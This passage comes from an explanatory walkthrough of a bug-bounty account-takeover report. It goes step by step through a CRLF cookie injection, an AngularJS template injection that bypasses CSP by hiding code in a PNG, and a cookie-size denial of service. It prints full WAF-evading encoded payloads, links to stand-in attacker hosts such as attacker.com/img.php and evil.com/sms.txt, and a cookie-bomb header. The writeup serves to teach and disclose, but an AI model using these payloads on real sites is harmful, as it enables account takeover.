Why this works. Every request in this step goes to *.redacted.com: the token endpoint, the item endpoint, and the phone validation endpoint. The connect-src rule allows exactly that, so the browser never refuses a request. The code crosses from the attacker's phone to the victim's browser inside the target's own API, which the policy was always going to permit. The attacker did not break the CSP, and did not find a hole in it.

What the victim sees. The document.write calls are debug output, and they show each stage in the page: getting the code, getting the token, grabbing the code from the API, and finally the phone being changed. The report's step-by-step description of the victim's side says the victim should see some exploit messages showing up right after login, because of the injected evil cookies doing weird things. Those messages are these debug lines.

What the attacker does next. Once the phone has been changed, the attacker's phone is the account's recovery number. The attacker goes to the lost-password flow, enters the victim's email address, selects SMS as the recovery method, and the reset code arrives on the attacker's phone. The report's attacker-side steps end with reading the code at the last line of http://evil.com/sms.txt, setting a new password, and the account being taken over.

The one thing this step does not solve. The JavaScript above is long. It has to fit into a cookie value that is injected through a GET request, and most browsers cap the length of a URL at around 2,000 characters. The full payload, with the debug messages, was well over 5,000 characters. Getting it under the limit is the subject of step 9.

Step 9: Fitting the payload under the URL limit with a PNG

The JavaScript from step 8 works, but it cannot be sent as it stands. The chain delivers the attacker's text through a cookie, and the cookie is written by a GET request, which means the whole payload has to travel inside a URL. URLs have a practical length limit, and the payload is far longer than that limit allows. This step is about squeezing a long script through a short door.

The size problem. The full JavaScript payload, with the debug messages, was base64 encoded and came to something like:

Text
dmFyIHByb2ZpbGVJZnJhb..... continues for 5000 more chars

Line by line, in plain words:

  • dmFyIHByb2ZpbGVJZnJhb is the start of the base64 text. It makes the data longer, roughly a third longer, which is part of the problem here.
  • ..... is the report's way of showing that the text continues. It is not part of the payload.
  • continues for 5000 more chars is the report's note that the encoded payload runs on for about five thousand more characters.

The report says the payload was way above 5,000 characters and needs to stay below 2,000 to work on most browsers. Two limits are in play, and it helps to keep them apart.

  • The URL limit. A URL is the address in your browser's address bar. Browsers and servers impose a maximum length on it, and the report uses 2,000 characters as the practical figure for most browsers. A payload longer than that gets cut off or rejected before it ever reaches the site.
  • The encoding overhead. Base64 makes text longer, so encoding the script to get it safely through a URL makes the size problem worse rather than better. The script was already long; the encoded form was longer still.

The everyday comparison is a postcard with a fixed amount of space. You can write anything you like on it, but if your message is longer than the card, you cannot send it, no matter how carefully you write. The attacker needed a way to send a long message on a short card.

The technique: hiding the code in an image. The solution came from the Secjuice article at https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/. The idea is to put the code inside a PNG image and load it through the img-src https://* CSP rule. A PNG is an ordinary image file format, and the rule allows images from any HTTPS host, so an image on the attacker's server is allowed even though a script from that server would not be.

The page then loads the image, decodes it with canvas JavaScript, reconstructs the code in a variable and evaluates it. Canvas is a browser feature that lets JavaScript draw and read images pixel by pixel, which is how the code comes back out of the picture. The researcher calls the result "magic", and it is a neat trick: the long script never appears in the URL at all. The URL only carries a short instruction to load an image, and the image carries the script.

The everyday comparison is a locked briefcase. The postcard only has room to say "open the briefcase", and the briefcase itself, which is far too big for the postcard, is handed over separately. The rule that says "you may receive parcels from any HTTPS address" lets the briefcase through, even though the rule about letters would not have allowed the same contents on a postcard.

Adapting it to Angular. The paper's technique does not work with Angular out of the box. The researcher says adapting it to work with an Angular template injection took a whole day and a lot of modification. The reason is that the code has to run inside an Angular expression, not as a plain script, so the image-loading and decoding logic has to be written in a form Angular will evaluate.

The cookie payload. The result of that work is the payload that gets written into the redacted cookie:

Read through the encoding, it does the following, piece by piece:

  • </scripT> closes the script block that the cookie is being reflected into. The capital T is the same case trick as in step 4: HTML tag names are not case-sensitive, so the browser treats </scripT> the same as </script>, while a filter looking for the exact lowercase string does not match it.
  • %25%33%63scrip%25%37%34 is the opening <script tag, double encoded. %25%33%63 decodes twice to <, and scrip%25%37%34 decodes twice to script. The filter sees encoded text; the page renders a real script tag.
  • +src='https://www.redacted.com/redacted/angular/angular.min.js' sets the src attribute of that script tag to the whitelisted AngularJS file. The + signs are how spaces are written in a URL. This is the same gadget as step 4: a script the CSP already trusts.
  • ></scripT> closes the script tag, again with the capital T.
  • <%25%36%32ody ng-app> is the opening <body ng-app> tag, with the b of body double encoded as %25%36%32. ng-app tells Angular to treat everything inside the body as an Angular application and evaluate the {{ }} expressions it finds.
  • <im%25%36%37+src=https://mysite.com/img.php+id=jsimg+crossorigin=anonymous> is an image tag, with the g of img double encoded as %25%36%37. src=https://mysite.com/img.php points at the PNG payload on the attacker's host. id=jsimg gives the image a name the script can find it by. crossorigin=anonymous tells the browser to load the image without sending credentials, which is needed for the canvas to be allowed to read the image's pixels back out.
  • {{x%3d{'y'%3a''.constructor.prototype}%3bx['y'].charAt%3d[].join%3b$ev%25%36%31l('x%3dev%25%36%31l(atob("evilpayloadbase64encoded"))')%3b}} is the Angular expression, with some characters encoded. %3d is =, %3a is :, %3b is ;, and %25%36%31 decodes twice to a. Decoded, it reads:
    • x={'y':''.constructor.prototype} sets up the same constructor.prototype gadget as step 4.
    • x['y'].charAt=[].join swaps charAt for join, the same gadget as before.
    • $eval('x=eval(atob("evilpayloadbase64encoded"))') calls Angular's $eval on a string that itself calls eval(atob(...)). atob is the browser's built-in function for decoding base64 back into text, and eval runs the result as code. evilpayloadbase64encoded is a placeholder for the real base64 payload, which is the code that loads the PNG, decodes it with canvas, and runs the result.
  • </body> closes the body element.

The double encoding is doing the same job as in step 3: the words the CDN watches for, such as script, body, img and eval, are never sent in their plain form. The report notes that some letters are double URL encoded specifically to get past the CDN's word filters such as the one on eval.

The final combined link. The last piece is to put the CRLF, the evil cookie, the Angular template injection and the PNG canvas payload into a single link:

Line by line, in plain words:

  • http://redacted.redacted.com/ is the site with the CRLF bug. The report uses http here, not https.
  • robot.txtasd is the part of the address the site copies into its redirect, the same path as in step 1.
  • %0d is the carriage return that ends the Location header early.
  • Set-Cookie:redacted=redacted starts the injected cookie. The cookie's name is redacted, and its value begins with redacted so the site still recognises it.
  • %3C%252fscripT%3E is the closing </scripT> tag, encoded. %3C is <, %252f decodes twice to /, and %3E is >. The capital T is the case trick again.
  • %2525%2533%2563scrip%25%32%35%25%33%37%25%33%34 is the opening <script tag, triple encoded in places. %2525%2533%2563 decodes three times to <, and scrip%25%32%35%25%33%37%25%33%34 decodes three times to script. The extra layer is needed because the CDN was catching the double-encoded form in some places.
  • +sr%25%32%35%25%33%36%25%33%33%3d is src=, with the c of src triple encoded as %25%32%35%25%33%36%25%33%33. The + is a space.
  • 'https://www.redacted/components/angular/angular.min.js' is the address of the whitelisted AngularJS file. Note that this link uses a slightly different path from the one in the cookie payload: /components/angular/ rather than /redacted/angular/. The report shows both forms, and does not explain the difference.
  • %3E%3C/scripT%3E closes the script tag and opens the closing </scripT> tag, encoded.
  • %3C%2525%2536%2532ody+ng-app%3E is the opening <body ng-app> tag, with the b triple encoded as %2525%2536%2532.
  • %3Cim%2525%2536%2537+sr%25%32%35%25%33%36%25%33%33%3dhttps://attacker.com/img.php+id%3djsimg+crossorigin%3danonymous%3E is the image tag, with the g of img triple encoded and the c of src triple encoded. The image address here is https://attacker.com/img.php, the second of the two placeholder hosts the report gives for the PNG.
  • %7b%7bx%3d%7b'y'%3a''.constructor.prototype%7d%25%33%62x%5b'y'%5d.charAt%3d%5b%5d.join%25%33%62$ev%25%32%35%25%33%36%25%33%31l('x%3dev%25%32%35%25%33%36%25%33%31l(atob(%22base64encodedpayload%22%29%29%27%29%25%33%62%7d%7d is the Angular expression, encoded. %7b is {, %7d is }, %5b is [, %5d is ], %22 is ", %29 is ), %27 is ', and %25%32%35%25%33%36%25%33%31 decodes three times to a. Decoded, it is the same expression as in the cookie payload: the constructor.prototype gadget, the charAt/join swap, and $eval on a string that calls eval(atob(...)) on the base64 payload.
  • %3c%25%32%66body> is the closing </body> tag, with the / encoded as %25%32%66.
  • ;Domain=redacted.com;Path%3d/; sets the cookie's scope. Domain=redacted.com makes the cookie apply across the whole domain, so the main site can read it. Path%3d/ is Path=/, which makes it apply to every path. The trailing semicolon is the separator that ends the cookie.

Why the encoding had to be exact. The report says the cookie had to be sent exactly as written, encoding included, or the WAF would block it. Getting that right took a few hours and, in the researcher's words, weird stuff like triple URL encoding, which he says he had never used in a proof of concept before. The triple encoding is visible in ev%25%32%35%25%33%36%25%33%31l, which becomes eval on the reflection. The everyday comparison is a combination lock: every digit has to be in the right place, and one wrong digit means the door does not open. The filter and the application are counting decodes differently, and the payload has to be written so that the filter's count and the application's count both land on something acceptable.

What the link does when opened. The victim's browser requests the link. The site's redirect endpoint copies robot.txtasd into the Location header, the %0d ends that header early, and the rest of the string is read as a Set-Cookie header. The browser stores the redacted cookie with the encoded payload as its value, scoped to redacted.com and /. Nothing else happens yet: the cookie is just text sitting in the browser. The payload only does its work when the victim later logs in and reaches www.redacted.com/redacted, the page that reflects the cookie into a script block. At that point the browser decodes the value, the script tag loads the whitelisted AngularJS file, the ng-app body evaluates the expression, and the expression loads the PNG from the attacker's host, decodes it with canvas, and runs the code inside. That code is the JavaScript from step 8, which changes the phone number.

The one problem left. The link works, but only if the evil cookie survives long enough to be reflected. Testing showed that it does not always survive: something on the target overwrites it before the victim reaches the post-login page. That overwrite, and the way around it, is the subject of step 10.

Step 10: Cookie denial of service against the overwrite

The link from step 9 works, but only if the evil cookie survives long enough to be reflected. Testing showed that it does not always survive. Something on the target overwrites it before the victim reaches the post-login page, and this step is about making that something fail.

The adblocker discovery. The problem first showed up as a difference between two machines. The researcher says that while testing on his Mac, the exploit did not work as it did on his Linux desktop, because he was running an adblocker. An adblocker is a browser extension that blocks requests to addresses on a list of known advertising and tracking hosts. If the target's address happened to be on that list, the browser silently refused to load it, and the exploit behaved differently.

The overwrite. Looking more closely, he found that redacted.redacted.com/redacted "overwrites" the evil cookie. In plain words: some page on that host sets the redacted cookie again, with a value of its own, and the browser replaces the attacker's value with the site's. When the site sets the same cookie name again, the new value replaces the old one; there is only one slot per name. So the attacker's carefully encoded payload is wiped out before the victim ever reaches the post-login page that would reflect it. The first link of the chain is undone by the site doing something completely ordinary.

The everyday comparison is a coat-check counter that keeps handing you a new ticket every time you walk past. You can put your own ticket in your pocket, but the next time you pass the counter, the clerk takes it and gives you a fresh one, and your ticket is gone.

The idea: make the interfering host fail. The researcher's fix was not to find a different cookie or a different reflection. It was to kill access to redacted.redacted.com from the victim's browser, so that the page doing the overwriting never loads and never gets the chance to replace the cookie. The report puts it plainly: "So I decided just KILL the access to redacted.redacted.com."

How do you make a host fail from inside a browser, without any special access? The report's answer is to tell the browser to send a very long cookie header, but only to the page that interfaces with the proof of concept. The page causing the trouble was:

Line by line, in plain words:

  • redacted.redacted.com is the subdomain where the CRLF bug lived, and the host that was overwriting the cookie.
  • /setcookie is the path of the page doing the overwriting. A path is the part of an address after the host name that says which page on the site you want.
  • ?params is a placeholder for the query string, the part of an address after the question mark that carries data to the server.

So the researcher set a new cookie, scoped to that path:

Text
Set-Cookie: trash=DOSlong2kchars;Path=/setcookie;Domain=.redacted.com
  • Here it is being injected through the same CRLF trick as before.
  • trash=DOSlong2kchars is the cookie's name and value. The name is trash, and the value is a placeholder for a very long string. "DOS" stands for denial of service, the idea of making a service fail by overwhelming it, and "2kchars" is the report's shorthand for the size.
  • Path=/setcookie scopes the cookie to the /setcookie path. A cookie's path attribute tells the browser which pages on the site should receive the cookie. With Path=/setcookie, the browser only sends this cookie when requesting addresses under /setcookie, and not to any other page on the site.
  • Domain=.redacted.com scopes the cookie to the whole redacted.com domain, including its subdomains. The leading dot is the traditional way of writing "this domain and everything under it".

Why the path attribute is the clever part. The report explains it directly: "Take note of how I used path instead of domain. from domain redacted, I just can't set a cookie to another subdomain, by changing the Domain. but I could set a 'global cookie' only working for '/setcookie' path". In plain words: a page on one subdomain is not allowed to set a cookie that applies to a different subdomain, because that would let any subdomain interfere with any other. But a page on the parent domain can set a cookie that applies to a path on any subdomain, as long as the path matches. So the attacker cannot say "set a cookie for redacted.redacted.com", but he can say "set a cookie for the path /setcookie on redacted.com", and the browser will send it to `redacted

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.